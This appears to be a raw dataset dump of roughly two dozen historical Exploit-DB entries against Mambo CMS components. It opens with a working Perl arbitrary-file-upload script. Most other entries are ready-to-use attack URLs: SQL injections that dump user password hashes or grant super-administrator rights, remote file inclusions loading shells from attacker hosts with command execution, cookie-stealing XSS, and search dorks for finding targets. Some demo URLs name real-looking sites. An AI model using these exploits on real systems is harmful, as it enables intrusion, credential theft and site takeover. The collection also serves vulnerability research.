deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6868
Description: Mambo Component SimpleBoard 1.0.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-10-29
Author: t0pP8uZz

Exploit:
#!/usr/bin/perl

use warnings;
use strict;
use LWP::UserAgent;
use HTTP::Request::Common;

my $fname = rand(99999) . ".php"; # no int()

print <<INTRO;

- SimpleBoard Mambo Component <= 1.0.1 -
- Remote Arbitrary File Upload Exploit -
    
    Discovered && Coded by: t0pP8uZz
    Discovered on: 20 October 2008
    Vendor has not been notified!
    
    Note:
    
        This exploit is a completely diffrent
            method then the prior simpleboard vulns.
            which differs from the one
            located here: http://milw0rm.com/exploits/1994
            
        Same files vulnerable, But this one works with
            the patch! in later versions of
            SimpleBoard they removed the image_upload.php so
            this wont work. but this
            works on every image_upload.php version. with the
            patch in place!
            
        A common error for the exploit is if openbase_dir is
            enabled, then this means
            the file will not get uploaded due to the
            dir restrictions.
            
    - Peace
    - irc.rizon.net #sectalk

INTRO

print "\nEnter URL(ie: http://site.com/mambo): ";
    chomp(my $url=<STDIN>);
    
print "\nEnter File Path(path to local file to upload): ";
    chomp(my $file=<STDIN>);

my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url.'/components/com_simpleboard/image_upload.php',
                      Content_Type => 'form-data',
                      Content      => [ attachimage => [ $file, $fname, Content_Type => 'image/jpeg' ], ] );

die "HTTP POST Failed!" unless $re->is_success;

if($re->content =~ /open_basedir/) {
    
    print "open_basedir restriction enabled. Exploit failed. See php.ini for more details.\n"; # say() ? get perl510
}
else {
 
    print "Looks like exploit was successfull! for uploaded file check:  " . $url . "/components/com_simpleboard/" . $fname . "\n";   
}
exit;

# milw0rm.com [2008-10-29]
Exploit-DB #5195
Description: Mambo Component SimpleBoard 1.0.3 - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-27
Author: it's my

Exploit:
#########################################################
##
##  Mambo Simpleboard Forum Component 1.0.3 Stable (com_simpleboard)
##
##
##  Author: it's my, Scipio, xcedz
##
##  Home page: http://www.antichat.ru
##
#########################################################
##
## Dork: inurl:"index.php?option=com_simpleboard"
##
#########################################################
   
   Exploit:

http://site.com/index.php?option=com_simpleboard&func=view&catid=-999+union+select+2,2,3,concat(0x3a,0x3a,username,0x3a,password),5+from+mos_users/*

#########################################################
## Together, we have strength =) ####    www.antichat.ru
#########################################################

# milw0rm.com [2008-02-27]
Exploit-DB #1994
Description: Mambo Component SimpleBoard 1.1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-08
Author: h4ntu

Exploit:
Bug Found by h4ntu [http://h4ntu.com] #batamhacker crew
Another Mambo component remote inclusion vulneribility

download : http://mamboxchange.com/frs/download.php/6920/Simpleboard-1.1.0-Stable.zip
bug found in file file_upload.php :

require_once("$sbp/sb_helpers.php");
inject :
http://website.com/components/com_simpleboard/image_upload.php?sbp=[evil_script]


Greetz : Baylaw, Reel, JoySolutions, K-159, SaMuR4i_X, SolpoT, Nugelo,
and all #batamhacker [at] dalnet crew, #mardongan, #motha, #papmahackerlink 

# milw0rm.com [2006-07-08]
Exploit-DB #4296
Description: Mambo Component SimpleFAQ 2.11 - SQL Injection
Type: webapps
Platform: php
Date: 2007-08-20
Author: k1tk4t

Exploit:
########################################################################
# Mambo Component SimpleFAQ V2.11 - Remote SQL Injection
# Vendor        : http://www.parkviewconsultants.com/
# Found By      : k1tk4t - k1tk4t[4t]newhack.org
# Location      : Indonesia   --  #newhack[dot]org @irc.dal.net
# Dork          : inurl:"index.php?option=com_simplefaq"
########################################################################


exploit;
http://localhost/mambo/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,username,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/mos_users/*



########################################################################
Thanks;
str0ke
xoron,y3dips,mathdule,iFX,x-ace,nyubi,selikoer
dan semua temen2 komunitas security&hacking
-----------------------
-newhack[dot]org|staff-
mR.opt1lc,fusion,fl3xu5,PusHm0v,Ghoz,bius,iind_id,slackX
-----------------------
all member newhack[dot]org
-----------------------
all member echo.or.id
-----------------------
all member www.yogyafree.net
-----------------------
all member www.sekuritionline.net
-----------------------
all member www.kecoak-elektronik.net
-----------------------
semua komunitas hacker&security Indonesia

# milw0rm.com [2007-08-20]
Exploit-DB #2028
Description: Mambo Component Sitemap 2.0.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-17
Author: Matdhule

Exploit:
# Sitemap 2.0.0 for Mambo 4.5.1 CMS

Author          : Ahmad Maulana a.k.a Matdhule
Date            : July 12th 2006
Location        : Indonesia, Jakarta
Web             : http://advisories.echo.or.id/adv/adv38-matdhule-2006.txt
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
------------------------------------------------------------------------ 

Application    : Sitemap 2.0.0 for Mambo 4.5.1 CMS
Version        : Sitemap 2.0.0
URL        : http://mamboxchange.com/frs/download.php/6463/sitemap20.zip

Exploit:
http://[target]/[path]/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=http://attacker.com/evil.txt? 

# milw0rm.com [2006-07-17]
Exploit-DB #2021
Description: Mambo Component SMF Forum 1.3.1.3 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-17
Author: ASIANEAGLE

Exploit:
**********************************************************
Joomla-SMF Forum Bridge For Mambo 4.5.3+ And Mambo 4.5.3+ 
        Remote File Inclusion Vulnebrality
**********************************************************
Discovered by : ASIANEAGLE 
Remote:Yes
Level:High
---------------------------------------------------------
Application: SMF Forum 1.3.1.3 Bridge Component For Joomla And Mambo
Vulnerable File: smf.php

----------------------------------------------------------------
Exploit: http://[site]/[joomla or mambo path]/components/com_smf/smf.php?mosConfig_absolute_path=http://[evil scripts]
----------------------------------------------------------------------------------------------------------------------

Fixing:

1.Declare variabel $mosConfig_absolute_path or;


2.Add into the top function:

defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );

-----------------------------------------------------------------------------------------------------------------------
Contact:
mail: asianeagle@linuxmail.org
website:http://asianeagle.to.md/

Greetz to: Muhacir, Turkmenux and All Turkish AND Turkmen Hackers

*****ASIANEAGLE SECURITY*****

# milw0rm.com [2006-07-17]
Exploit-DB #7841
Description: Mambo Component SOBI2 RC 2.8.2 - SQL Injection
Type: webapps
Platform: php
Date: 2009-01-21
Author: Br1ght D@rk

Exploit:
 
                          ||          ||   | ||         
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,  
                  ( :   /    (_)    /           (   .   

      +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+
      |                                                           |
      |                   GaZa WiLL NeVeR DiE                     |
      |       		                                          |
      |                                                           |
      |         Proud To Be A MusLiM , Proud To Be A EgYpTiaN     |
      |                                                           |
      +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+
 
 
<<!>> Found by  :  Br1ght D@rk
 
<<!>> C0ntact : MiDo2005_2010 [at] hotmail.com  
                    
<<!>> Groups : EgY C0D3RS TeaM , SeCuRiTy G33KS  
 
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
 
 
<<->> D0rk    : find it
 
<<->> Exploit :>>>                
                                    
              :>>>  http://www.site.co.il/index.php?option=com_sobi2&task=showbiz&bid=-78+union+select+0,concat(username,0x3a3a,password),0+from+jos_users--
 
<<->>  DeM00  :>>>  http://www.karmel.co.il/index.php?option=com_sobi2&task=showbiz&bid=-78+union+select+1,concat(username,0x3a3a,password),3+from+jos_users-- 

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================
 
<<->> All freinds , all muslims , Egy C0ders , AsbMay Group,sec-geeks.com 

                                  <--[ sec-geeks.com ]-->

# milw0rm.com [2009-01-21]
Exploit-DB #2089
Description: Mambo Component User Home Pages 0.5 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-30
Author: Kurdish Security

Exploit:
>>> Kurdish Security

>>> Freedom For Ocalan

>>> Contact : irc.gigachat.net #kurdhack & www.PatrioticHackers.com

>>> Rish : High

>>> Class : Remote

>>> Script : User Home Pges

>>> Site : www.ravensportal.co.uk

>>> Thanx : kurdishsniper,netqurd,flot,azad,darki,B3g0k,jubni,milex,fearless,kha,kca and other my friends

Code :

global $mosConfig_absolute_path;
require($mosConfig_absolute_path."/administrator/components/com_uhp/uhp_config.inc");

d0rkiz : allinurl:"com_uhp"

http://www.w0rkzsite.com/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=y0urscripts.txt?&cmd=id

And used link :]

footer.php
functions.php
install.uhp.php
toolbar.uhp.html.php
uhp.class.php
uhp_config.php
uninstall.uhp.php

# milw0rm.com [2006-07-30]
Exploit-DB #3706
Description: Mambo Component zOOm Media Gallery 2.5 Beta 2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-11
Author: iskorpitx

Exploit:
iskorpitx@metlak
from TURKEY
com_zoom file include



******************************************************************************/

// Create the Makernote Parser and Interpreter Function Array

$GLOBALS['Makernote_Function_Array'] = array(   "Read_Makernote_Tag" => array( ),
                                                "get_Makernote_Text_Value" => array( ),
                                                "Interpret_Makernote_to_HTML" => array( ) );


// Include the Main TIFF and EXIF Tags array

include_once("$mosConfig_absolute_path/components/com_zoom/classes/iptc/EXIF.php");

/******************************************************************************

http://www.example.com/[path]/components/com_zoom/classes/iptc/EXIF_Makernote.php?mosConfig_absolute_path=http://shell*
http://www.example.com/[path]/components/com_zoom/classes/iptc/EXIF.php?mosConfig_absolute_path=http://shell*

iskorpitx

admin@siyamiozkan-mavideniz.org

# milw0rm.com [2007-04-11]
Exploit-DB #3713
Description: Mambo Module Calendar (Agenda) 1.5.5 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-11
Author: Cold Zero

Exploit:
==================================================================
Mambo module Calendar (Agenda) <= 155 (com_calendar.php) Multiple RFI Vuln
==================================================================
Found By : Cold z3ro , Cold-z3ro@hotmail.com
==================================================================
Homepage: www.Hack-Teach.com
==================================================================
Script :
http://www2.tutorial.hu/letoltes/dl.php?p=/scriptek/joomla/mambo.4.0.x/Calendar&i=agenda-155.zip
==================================================================
File : /com_calendar.php
include($absolute_path.'/components/calendar/cal_config.php');
==================================================================
/components/calendar/com_calendar.php?absolute_path=http://nachrichtenmann.de/r57.txt?
/modules/calendar/mod_calendar.php?absolute_path=http://nachrichtenmann.de/r57.txt?
Or
/components/com_calendar.php?absolute_path=http://nachrichtenmann.de/r57.txt?
/modules/mod_calendar.php?absolute_path=http://nachrichtenmann.de/r57.txt?
==================================================================


#Long Life Palestine
#www.Hack-Teach.com

# milw0rm.com [2007-04-11]
Exploit-DB #28233
Description: Mambo Module Calendar 1.5.7 - 'Com_Calendar.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-17
Author: Matdhule

Exploit:
source: https://www.securityfocus.com/bid/19027/info

The Calendar module for Mambo is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 1.5.7; other versions may also be vulnerable.

http://www.example.com/[target]/[path]/components/com_articles.php?absolute_path=http://attacker.com/evil.txt?
Exploit-DB #1955
Description: Mambo Module CBSms 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-26
Author: Kw3[R]Ln

Exploit:
---------------------------------------------------------------------------
CBSMS Mambo Module <= 1.0 ([mosConfig_absolute_path]) Remote File Include Vulnerabilities
---------------------------------------------------------------------------

Discovered By Kw3[R]Ln [ Romanian Security Team ]
Remote : Yes
Critical Level : Dangerous

---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : CBSMS Mambo Module
version : latest version [ 1.0 ]
URL : http://mamboxchange.com/frs/?group_id=988&release_id=3622

------------------------------------------------------------------

Exploit:
~~~~~~~~

Variable $mosConfig_absolute_path not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/mod_cbsms_messages.php?mosConfig_absolute_path=[evil script]

---------------------------------------------------------------------------


Solution :
~~~~~~~~~~

declare variabel $mosConfig_absolute_path
---------------------------------------------------------------------------


Shoutz:
~~~~~~

# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and Romanian Security Team [ hTTp://Romania.HackTECK.BE ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~~~~

Nick: Kw3rLN
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://Romania.HackTECK.BE & http://www.h4cky0u.org/
/*

-------------------------------- [ EOF] ----------------------------------

# milw0rm.com [2006-06-26]
Exploit-DB #1981
Description: Mambo Module galleria 1.0b - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-04
Author: sikunYuk

Exploit:
Title       : galleria <= 1.0 Remote File InclusionVulnerability
-
URL         : http://binarydigit.at/
-
Author      : sikunYuk
-
Mail        : ineal[at]gmail.com
-
exploit     : http://[target]/[path]/components/com_galleria/galleria.html.php?mosConfig_absolute_path=http://[f*ckscript]/cmd.txt?&cmd=
-
greatz      : agoes,skulmatic,Olibekas,Vitux,weleh,arioo Powered by #pisslovcrew,#papmahackerlink,#tigapanah,#yogyahacker
-

# milw0rm.com [2006-07-04]
Exploit-DB #2027
Description: Mambo Module HTMLArea3 1.5 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-17
Author: Matdhule

Exploit:
# HTMLArea3 addon - ImageManager

Author          : Ahmad Maulana a.k.a Matdhule
Date            : July 12th 2006
Location        : Indonesia, Jakarta
Web             : http://advisories.echo.or.id/adv/adv38-matdhule-2006.txt
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
------------------------------------------------------------------------ 

Application    : HTMLArea3 addon - ImageManager
Version        : 1.5
URL        : 

Exploit:
http://[target]/[path]/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=http://evilscript 

# milw0rm.com [2006-07-17]
Exploit-DB #2613
Description: Mambo Module MambWeather 1.8.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-22
Author: h4ntu

Exploit:
Bug Found by h4ntu [http://h4ntu.com] #batamhacker crew
Another Mambo module remote inclusion vulneribility

download : http://mamboxchange.com/frs/download.php/1498/MambWeather181.zip
 
bug found in file : MambWeather/Savant2/Savant2_Plugin_options.php
 
 <?php

 /**
 * Base plugin class.
 */
 global $mosConfig_absolute_path;

 require_once $mosConfig_absolute_path.'/modules/MambWeather/Savant2/Plugin.php';

 /**

exploit:

http://[site]/[path_to_mambo]/modules/MambWeather/Savant2/Savant2_Plugin_options.php?mosConfig_absolute_path=[attacker ]

Greetz : Baylaw, Reel, JoySolutions, K-159, SaMuR4i_X, SolpoT, Nugelo, and all #batamhacker@dalnet

# milw0rm.com [2006-10-22]
Exploit-DB #31066
Description: Mambo Module MOStlyCE 2.4 - 'connector.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-01-28
Author: AmnPardaz

Exploit:
source: https://www.securityfocus.com/bid/27470/info

The MOStlyCE module for Mambo is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

MOStlyCE 2.4 included with Mambo 4.6.3 is vulnerable; other versions may also be affected. 

http://localhost/MamboV4.6.3/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?Command=<script>alert(document.cookie)</script>
Exploit-DB #31068
Description: Mambo Module MOStlyCE 2.4 Image Manager Utility - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-01-28
Author: AmnPardaz

Exploit:
source: https://www.securityfocus.com/bid/27472/info

The MOStlyCE module for Mambo is prone to an arbitrary-file-upload vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue could allow an attacker to upload and execute arbitrary script code in the context of the affected webserver process.

MOStlyCE 2.4 included with Mambo 4.6.3 is vulnerable; other versions may also be affected. 

http://localhost/MamboV4.6.3/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?Command=FileUpload&file=a&file[NewFile][name]=abc.gif&file[NewFile][tmp_name]=C:/path/to/MamboV4.6.2/configuration.php&file[NewFile][size]=1&CurrentFolder=
Exploit-DB #28818
Description: Mambo Module MOStlyCE 4.5.4 - 'HTMLTemplate.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-16
Author: The_BeKiR

Exploit:
source: https://www.securityfocus.com/bid/20549/info

Mambo MostlyCE is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[path]/mostlyce/jscripts/tiny_mce/plugins/htmltemplate/htmltemplate.php?mosConfig_absolute_path=[shell]
Exploit-DB #3712
Description: Mambo Module Weather - 'absolute_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-11
Author: Cold Zero

Exploit:
============================================================
Mambo/Joomla Module Weather (absolute_path) Remote File include Vuln
============================================================
Found By : Cold z3ro , Cold-z3ro@Hotmail.com
============================================================
Homepage: www.Hack-Teach.com
============================================================
Script :
http://www.joomlaos.de/option,com_remository/Itemid,41/func,download/id,47/chk,a39037e15bb5cd125f3cfd9dccaec6f5/no_html,1.html
============================================================
File : /mod_weather.php
include($absolute_path.'/language/'.$lang.'/lang_mod_weather.php');
============================================================
http://site/{path}/modules/mod_weather.php?absolute_path=http://nachrichtenmann.de/r57.txt?
============================================================


#Long Life Palestine
#www.Hack-Teach.com

# milw0rm.com [2007-04-11]
Exploit-DB #23430
Description: Mambo Open Source 4.0.14 - 'PollBooth.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2003-12-10
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/9197/info

Mambo Open Source is prone to SQL injection attacks. This is due to an input validation error in 'pollBooth.php'. In particular, various user-supplied variables are used in an SQL query without proper sanitization of SQL syntax. As a result, a remote attacker could include malicious SQL syntax via URI parameters and influence database queries. 

# The title of the article N?23 becomes "hop" :
http://www.example.com/pollBooth.php?task=Vote&lang=eng&sessioncookie=1&
voteID=1&dbprefix=mos_articles%20SET%20title=char(104,111,112)
%20WHERE artid=23/*

# The user having id 52 becomes "super administrator" :
http://www.example.com/pollBooth.php?task=Vote&lang=eng&sessioncookie=1&
voteID=1&dbprefix=mos_users%20SET%20usertype=char(115,117,
112,101,114,97,100,109,105,110,105,115,116,114,97,116,111,114)
%20WHERE%20id=52/*

# The password of the user having id 10 becomes 'a' :
http://www.example.com/pollBooth.php?task=Vote&lang=eng&sessioncookie=1&
voteID=1&dbprefix=mos_users%20SET%20password=md5(char(97))
%20WHERE%20id=10/*
Exploit-DB #23429
Description: Mambo Open Source 4.0.14 Server - SQL Injection
Type: webapps
Platform: php
Date: 2003-12-10
Author: Chintan Trivedi

Exploit:
source: https://www.securityfocus.com/bid/9196/info

It has bee reported that Mambo Open Source 4.0.14 Server is prone to SQL injection attacks. The problem is said to occur due to insufficient sanitization of data passed to specific index.php variables. As a result, an attacker may be capable of influencing the logic of specific queries or statements made by the underlying database. This could ultimately result in a number of attacks being carried out against the system. 

http://www.example.com/index.php?option=articles&task=viewarticle&artid=5%20UNION%20somequery
Exploit-DB #23824
Description: Mambo Open Source 4.5 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-03-16
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/9890/info

It has been reported that the Mambo 'index.php' script is prone to a cross-site scripting vulnerability. This issue is due to a failure of the application to properly validate user supplied URI input. This issue could permit a remote attacker to create a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user.

http://www.example.com/index.php?return=[XSS]